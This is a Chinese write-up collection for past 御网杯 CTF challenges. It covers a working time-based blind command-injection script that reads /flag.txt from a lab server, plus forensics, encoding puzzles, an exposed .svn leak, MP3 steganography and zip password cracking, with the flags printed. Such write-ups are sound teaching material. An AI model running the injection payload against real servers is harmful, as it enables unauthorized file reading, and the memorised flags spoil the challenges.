往届御网杯WP

esayweb

题目内容:flag的位置为/flag.txt。

访问靶机

image-20250508151536652

开始构造脚本文件并执行后获取 flag 结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
import requests

def get_flag(addr, result=""):
for x in range(1, 40): # 假设flag长度为39字符(从1到39)
for i in range(0x20, 0x7f): # 可打印ASCII字符范围(32到126)
if post(addr, x, chr(i)):
result += chr(i)
print(f"Current flag: {result}") # 打印当前已破解的flag
break # 找到当前字符后跳出内层循环
print(f"Final flag: {result}") # 打印最终flag

def post(addr, pos, payload):
data = {
"cmd": f"[ $(cut -c {pos} /flag.txt 2>/dev/null) = '{payload}' ] && sleep 2"
}
try:
requests.post(f"http://{addr}/", data, timeout=(3, 1)) # 设置超时为3秒
return False # 未触发超时,说明字符不匹配
except requests.exceptions.ReadTimeout:
return True # 触发超时,说明字符匹配
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return False

if __name__ == '__main__':
get_flag("192.168.6.166:46566")
点击展开详细解析

1. 脚本头

1
#!/usr/bin/env python3
  • 作用:告诉系统用Python 3解释器运行此脚本。
  • 类比:类似于告诉电脑“用Python 3打开这个文件”。

2. 导入库

1
import requests
  • 作用:导入requests库,用于发送HTTP请求(如POST请求)。
  • 类比:相当于准备一个工具箱,里面有一个能发送网络请求的工具。

3. 定义get_flag函数

1
def get_flag(addr, result=""):
  • 作用:定义一个名为get_flag的函数,接收两个参数:
    • addr:目标服务器的地址(如"192.168.6.166:46566")。
    • result:存储已破解的flag(默认为空字符串)。
  • 类比:相当于创建一个任务,任务是“破解flag”,初始时flag为空。

4. 遍历flag的每个字符位置

1
for x in range(1, 40):
  • 作用:循环从第1个字符到第39个字符(假设flag长度为39)。
  • 类比:像翻书一样,一页一页地检查flag的每个位置。

5. 遍历可打印ASCII字符

1
for i in range(0x20, 0x7f):
  • 作用:循环遍历ASCII码中可打印字符的范围(32到126,对应空格到~)。
  • 类比:尝试所有可能的字母、数字和符号。

6. 调用post函数检查字符

1
if post(addr, x, chr(i)):
  • 作用:调用post函数,检查目标服务器上/flag.txt的第x个字符是否是chr(i)
    • chr(i):将ASCII码转换为字符(如65'A')。
  • 类比:问服务器“flag的第x个字符是chr(i)吗?”。

7. 更新flag并打印

1
2
3
result += chr(i)
print(f"Current flag: {result}")
break
  • 作用
    • 如果字符匹配,将字符拼接到result中。
    • 打印当前已破解的flag。
    • 跳出内层循环,继续破解下一个字符。
  • 类比:如果猜对了,就把字母加到flag上,然后看下一个位置。

8. 打印最终flag

1
print(f"Final flag: {result}")
  • 作用:破解完成后,打印完整的flag。
  • 类比:翻完所有页后,展示完整的flag。

9. 定义post函数

1
def post(addr, pos, payload):
  • 作用:定义一个名为post的函数,接收三个参数:
    • addr:目标服务器地址。
    • pos:当前检查的字符位置。
    • payload:当前尝试的字符。
  • 类比:创建一个任务,任务是“问服务器某个位置的字符是什么”。

10. 构造POST请求数据

1
2
3
data = {
"cmd": f"[ $(cut -c {pos} /flag.txt 2>/dev/null) = '{payload}' ] && sleep 2"
}
  • 作用:构造一个POST请求的data字段,内容是一个Shell命令:
    • cut -c {pos} /flag.txt:提取/flag.txt的第pos个字符。
    • [ ... = '{payload}' ] && sleep 2:如果字符匹配,则让服务器休眠2秒。
  • 类比:问服务器“如果第pos个字符是payload,请等2秒再回答”。

11. 发送POST请求

1
2
try:
requests.post(f"http://{addr}/", data, timeout=(3, 1))
  • 作用:向目标服务器发送POST请求,并设置超时:
    • 连接超时3秒,读取超时1秒。
  • 类比:打电话给服务器,如果3秒内没接通或1秒内没说话,就挂断。

12. 处理超时异常

1
2
3
4
5
except requests.exceptions.ReadTimeout:
return True
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return False
  • 作用
    • 如果触发ReadTimeout(服务器休眠2秒),返回True(字符匹配)。
    • 其他请求错误(如网络问题)返回False,并打印错误信息。
  • 类比
    • 如果服务器等2秒才接电话,说明猜对了。
    • 如果电话打不通,可能是网络问题。

13. 主程序入口

1
2
if __name__ == '__main__':
get_flag("192.168.6.166:46566")
  • 作用:当脚本直接运行时,调用get_flag函数,传入目标服务器地址。
  • 类比:按下“开始”按钮,启动破解任务。

总结

  • 目标:通过时间盲注(Time-Based Blind Injection)逐字符破解/flag.txt的内容。
  • 方法:发送POST请求,利用服务器响应时间判断字符是否匹配。
  • 输出:实时显示破解进度,最终打印完整flag。

bluetooth

解压附件得到image-20250508151929234流量包打开发现不是TCP协议,开始构造脚本文件把压缩包获取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pyshark
def main():
num = 1
pacp_file = "bluetooth.pcapng"
# 手动指定tshark路径(Windows示例)
tshark_path = r"D:\Program Files\Wireshark\tshark.exe"
cap = pyshark.FileCapture(pacp_file, tshark_path=tshark_path)
f = open("flag.zip", "wb+")
for i in cap:
num += 1
if (i[1].get_field_value("direction") == "0x01") & (i[1].get_field_value("type") == "0x02"):
if ("DATA" in dir(i)) and ("btrfcomm" in dir(i)):
print(num, len(i.data.data))
f.write(bytes.fromhex(i.data.data))
if __name__ == '__main__':
main()

解压出来压缩包发现个txt文件和key文件image-20250508152202471

编写脚本对这两个字节序列进行按位异或(XOR)操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import long_to_bytes
def main():
flag_txt=10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
key=5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152
bflag_txt = long_to_bytes(flag_txt)
bkey = long_to_bytes(key)
for i in range(len(bflag_txt)):
print(chr(bflag_txt[i]^bkey[i]),end="")
# 按装订区域中的绿色按钮以运行脚本。
if __name__ == '__main__':
main()
#flag{66526827ff3ba85e1444a0df4acbba93}

脚本功能说明

  1. 将两个大整数(flag_txtkey)转换为字节形式。
  2. 对这两个字节序列进行按位异或(XOR)操作。
  3. 打印异或后的结果(即解密的flag)。

编码转换

题目内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
编码1:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.

编码2:([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]

编码3:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

依次扔到解码工具解码

BrainFuck解码: flag{ab71cda1

JSFuck解码: b495e13b3f21

BrainFuck解码: f6fd50221978}

input_data

访问

image-20250508153451124

网址输入/.svn

image-20250508153531139

flag就在/.svn/pristine/57/57d4b4b90f7139cf064ee991e8f78bd8fc2a8a6d.svn-base

image-20250508153608577

base

题目给了

1
👄👋🐹🐸👂👱🐯🐢👚👊🐬👨👌👢👅🐿👊🐩👅👆👈👤🐧🐢👁👡🐯👰👂🐩👛👂👂👋👯🐺👋🐩👄👤👉🐾👄👭👃👋👀🐢👁👠👯🐻👀👌🐽👩👐👍👫🐾👇👥🐼👭👌👌👣🐺👊🐾🐬👘👌👢👁👄👌👍👉👅👄👠👫👦👊👌👅🐺👅👍🐬👙👘🐧👍👞👂🐪👍🐼👉👰👐🐭👏👊👚🐧👏🐨👦🐯👆👋🐰👬👂🐪👍👈👈👢👟👭👃🐩👍👀👁🐼👑👙👋👋👉🐺👅👋🐯🐨👇🐼👁👈👁👠🐬🐼👐👱🐽👁👃👱🐫👤👃👎👅👂👆🐿🐸👧👋🐨👀🐦👅🐧👪👤👍👡👄👢👉🐺🐬🐾👈👢👯👉👍🐼🐧🐪👙👣🐸👟👑🐧👞👡👃👌👀👣👉👎🐸👪👃🐼👟🐿👁👡👦👧👍👡🐼👮👈🐺👪🐦👇👱👛👃👁👣👑🐺👊🐾🐯👭👑👌👁👫👇👠👄🐢👄👠👫👦👎🐼👢🐯👈👢🐯👮👁👢👍👞👃👎👈👰👈👎🐯👭👑👠🐯🐯👁👤👄👮👚👋🐰👊👑👣👣👣👄👰👉🐽👃🐨🐰🐺👋🐽👀🐮👏👱👅🐼👂🐼🐨👑👇🐼👁👅👉👠🐨🐾👀👋👍👢👌👌👚👤👆👣🐧👥👈👎👫👡👇👱🐧👭👄👌🐬👘👀👋👛👨👊🐩🐹🐽👄🐺🐰🐨👅🐻👀🐧👈👡👌🐦👅👌👅👠👊🐿👀🐪👉👠👑🐾👌👋👐🐢👁👠🐨👡👊👡🐼👮👇👥🐽👰👇🐨👁👣👍🐼👛🐺👊🐿🐽🐻👇🐼👁👄👌👍👉👅👉🐨👢👮👄👢👄🐩👚🐼👉👦👛🐼👍👞👂🐪👍🐼👈👎🐯👯👄👍👟🐹👘🐩👄🐦👇👊🐯👯👋👣👦👟👈👢👟👯👈👱👯🐺👙👋🐨🐨👇👋👉🐺👅👋🐯🐨👈🐩👁👀👚👡👛🐾👁👢👚👧👉👊👯🐹👑👍🐨🐹👈👠🐰👅👂👊🐯🐦👌👤👐👭👍🐧👁👀👚🐺👍👱👈👤🐧🐢👀👱🐫👰👂🐩👐👧👍👋🐽🐾👘👣👮👠👉👎🐸👩👎👡👫🐺👄🐩🐯👣👏👡🐼👮👇👥🐽👰👇🐩🐫👩👄🐽👌👱👁🐼👌👭👏🐧👁👫👇👠👄🐢👉🐨👢👱👆👋👛🐻👐👢👢🐰👘🐼👍👞👂🐨🐼🐫👆👤👢👭👘👢👀🐯👁👤👄👮👚👊🐧🐫👁👢👈👠👈👢👟👮👃👱👅🐺👌👠👁👭👇👊👯🐧👏👌👅🐽👅🐽🐫👮👃👍👯🐽👐🐺👮👪👊🐼👚👤👆🐼👮🐦👄👋🐹🐸👂👱🐯🐢👚👊🐬👨👌👡👛👨👊🐩🐹🐽👃🐩👮🐨👐👤👈👰👂🐩👟👐👊👋🐼👩👌👋👛🐿👉👎🐸👩👌👋👞👪👈👎👚👦👘👡👉👝👎👡👮🐬👇🐨👁👤👎👎👌👱👁🐼👁👋👅👌👀👯👅👢👫👄👅🐩🐬👈👀👎👚👱👂👰👅👊👃🐼👍👞👂🐪👍🐼👆👰🐨👩👋👎🐹🐹👘🐩👁👧👘🐻🐯🐪👊👍👫👃👈👢👟👮👈👠👅🐿👎🐽👪👟👙👰🐰👪👐👊👯👑👄👊👫👉👋🐧🐯🐪👑👞🐴🐴

是base套娃

先转成base100

1
MTBAKz8+cS5qUkNHS2NOQm0+Jj8yK2dKKTxCT2MmRGMvLTI+JixDIUFrYVtGPnEvUUlCSG5aUkJMUVRNMitoSUNCNV5ba0VgK3VERyY6XSc0X1o8OT9uK3VQQkhvL2VIJEZbTTRCNT81PEJQJi5EYzFJLz4mLWNKOHApT1I/N0smVjMkRC5GQkxRVE03blAhZ0gjLUIlRWAsLEhHJjopVjEwQCs/PzdLJlZCSG8vZUJtPiM+MitoWEk8Qk8wJkVgLWQyQW8vZi88JmMwcT9SZlllMyRFL19CTFI7XzNEKE1ZPEJNRi1GITVkUUcmOl0nQWtjPz0vMU5aITdqS2BFMC91NDI0QjU/NUNiSHI3RiZGUTY+Ji1jSjEwPnFyP1JlVEdCSHFDPEJMUVRNR1kwMkM2cERodEVgK3VEQW8xMVhBa2M/PS8xTlohQkhxQzxCbT11PTRCNT81Q2JIcjdGJkcpRSxBZV1BQi9NKS8/UmYvV0JIcCVzQm0+Iz4yK2YpVTFGalwiRWArWjtCM28lXjEwPnFyP24rMFUzJEUvX0JtPiM+R1kzOTdDYkk9aEVgK1E4OmkvakI8JmMwcS04JkQiQkhwLzNCUiJvPSx0XUNFNF4wLVxFYCwsSEcmOEw/MTBAKz8+cS5qUjdqS2BFL2w1YmQyK2hYSTErUTdHRWArUTgsQWcoajRfWjw5P1JmWWUzJEJTNUIxNktMN25QIWczKyNSLEVgK3VEOy1rTWBBa2JpaD83SVtLQkhwQiNHWFshby9sYSxZMStRT083Zg==

再转base64

1
10@+?>q.jRCGKcNBm>&?2+gJ)<BOc&Dc/-2>&,C!Aka[F>q/QIBHnZRBLQTM2+hICB5^[kE`+uDG&:]'4_Z<9?n+uPBHo/eH$F[M4B5?5<BP&.Dc1I/>&-cJ8p)OR?7K&V3$D.FBLQTM7nP!gH#-B%E`,,HG&:)V10@+??7K&VBHo/eBm>#>2+hXI<BO0&E`-d2Ao/f/<&c0q?RfYe3$E/_BLR;_3D(MY<BMF-F!5dQG&:]'Akc?=/1NZ!7jK`E0/u424B5?5CbHr7F&FQ6>&-cJ10>qr?ReTGBHqC<BLQTMGY02C6pDhtE`+uDAo11XAkc?=/1NZ!BHqC<Bm=u=4B5?5CbHr7F&G)E,Ae]AB/M)/?Rf/WBHp%sBm>#>2+f)U1Fj\"E`+Z;B3o%^10>qr?n+0U3$E/_Bm>#>GY397CbI=hE`+Q8:i/jB<&c0q-8&D"BHp/3BR"o=,t]CE4^0-\E`,,HG&8L?10@+?>q.jR7jK`E/l5bd2+hXI1+Q7GE`+Q8,Ag(j4_Z<9?RfYe3$BS5B16KL7nP!g3+#R,E`+uD;-kM`Akbih?7I[KBHpB#GX[!o/la,Y1+QOO7f

再转成ascii85或者base85

1
2XIJ]*9pk2n!ix}i5JJ>U<ceoR,xZk$kfM(I]*MSh#!/hEhk5Jf<goRvrR;xvmbj=i(I`*PTh#/4yx{i<UT.U<keoRn3ZkKmJu(I^*XT8!QzhEhkGJ#<ylRvrR?xvmQU2XIJ^*XTh#/4ix|i5Jk=U<RvrRn3fm$kT8%I_*fT8!n!hE|i9J#<U<!Ys!xxvmbjfMWf,*9pG$/4/8@i<UT.l/!YsR,xZkKm2X(I_*HTh#n!hEhkxJ#<D?!YrR;xfmKmfMWf,*9ph#n!ix{i<UT.l/!YsR;x#m$kg5(I_*XTh#H)ix|i5J#<3+#*rR2xg^bj2X(I`*9p8!n!ix|ixJz.l/,*rR/xPmKmT8%I&.XTh#K;hx|i%J#<=[#*rR?xvm$k2XIJ]*9pG$/4.P[i5Jk=2+RvrR/x#mKm=i(I_*fT8!%@gEhkGJ#<8_RvrR;xQ^$kfMIJ^*1ph#QzxE|i.U#<2+ZvG

最后再转成base91

1
chgdchg5clctclcxclc5cdc9chcdcdc9chctchglcdc9chclclcdclcpchchchgdchg5clg5chg9clcpchclcdcdchg9chg5chctclc9chghclchchclclcpclchchghchg5clcpcdclchcpchclcdc9clcdcdc9chglchg5chg5chctcdc9clchclcdchclchgdchcpcdclchclcdc9chghclcdchg5chctclcpchctclclchgpclclchgdclcBchgdchcpchgdclclcdc9chglchcdclg5chglchg5clctchctclctclchchgdchglchg9clcpcdchchcpclclclcpcdc9chg9chcxchclcdghcdghcdghcdghcdghcdgh

然后再转base62,这里可能编码有问题,软件解密解不开,这能用这个网站解base编码解码-base64、base32、base16加密与解密 - 在线工具

image-20250509104625472

1
4C4A575851324332474E32455356444C4A5A4B5645334B4A47524D544556544D4A563546453253324E4A4A47325453454C463545324D534A475647554F554C594C464C55324E435A4E4A574757544C4E4B5634465556324B48453D3D3D3D3D3D

然后直接扔到随波逐流

image-20250509104718976

mp3

参考思路音频隐写 - CTF Wiki

打开题目给的压缩包发现里面有一张图片名称叫做apple.png

我们用QR扫描出来得到一串Unicode编码

image-20250510131326063

我们将Unicode编码扔进解密工具

image-20250510131520167

得到羊由大井夫大人王中工

这是当铺编码

我们将当铺编码转换一下

根据对应的文字进行数字转换

0 0 1 2 3 4 5 5 5 6 7 8 9 9

然后羊由大井夫大人王中工对应的就是9158753624

我们发现题目名字叫做mp3,但只给了png图片,首先怀疑需要文件剥离。

然后我们用kali的strings工具进行关键字枚举

image-20250510132318346

发现包含一个mp3文件

接下来尝试用foremost工具进行文件剥离

image-20250510132414957

image-20250510132512034

用foremost剥离出来后会在当前文件生成一个output文件夹这个文件夹内有个rar文件夹,rar文件夹内就是mp3文件了,可以直接解压出来

我们拿到mp3文件后可以进行音频隐写的操作了

先扔到Audacity工具内看是视图内是否有flag或者摩斯电码

image-20250510132705811

image-20250510132801033

发现很正常

那就不是视觉上的波形图和频谱图了,再加上一开始图片内给的神秘字符9158753624开始怀疑是音频加密。

需要用Mp3Stego 音频隐写工具解密。

Mp3Stego下载官网

image-20250510133157399

把音频文件放在当前工具目录下后调出命令提示符

输入命令开始解密

1
Decode.exe -X apple.mp3 -P 9158753624

随后会生成出来一个.pcm文件和一个.txt文件

image-20250510133352754

我们打开txt文件,发现base64的密文Q1RGe3hpYW9fcGluZ19ndW99,这应该就是我们要找的东西了

image-20250510133422150

我们解密后得到flag

image-20250510133527270

CTF{xiao_ping_guo}发现原来flag只是这首的名字而已啊!!!害的那么费劲心思,到头来只是小苹果

QR code

题目给了一张png图片,内容是一张二维码

image-20250510184151074

用QR工具扫码后得到一句话,flag就在这里,盲猜是高宽隐写和文件分离。先扔010试一下,没有找到特殊字符,

应该不是高宽隐写,再拿去kali试试foremost分离,分出来了一个加密的压缩包,压缩包内是一个名字叫做4number.txt的文件,这应该就是要找的flag

image-20250510184526071

盲猜是伪加密,把zip文件扔到010查看修改后发现不是,那应该就是暴力破解了,然后用ARCHAP尝试1~9数字破解,发现破解成功,密码为7639

image-20250510184724977

打开后得到flag

image-20250510184832848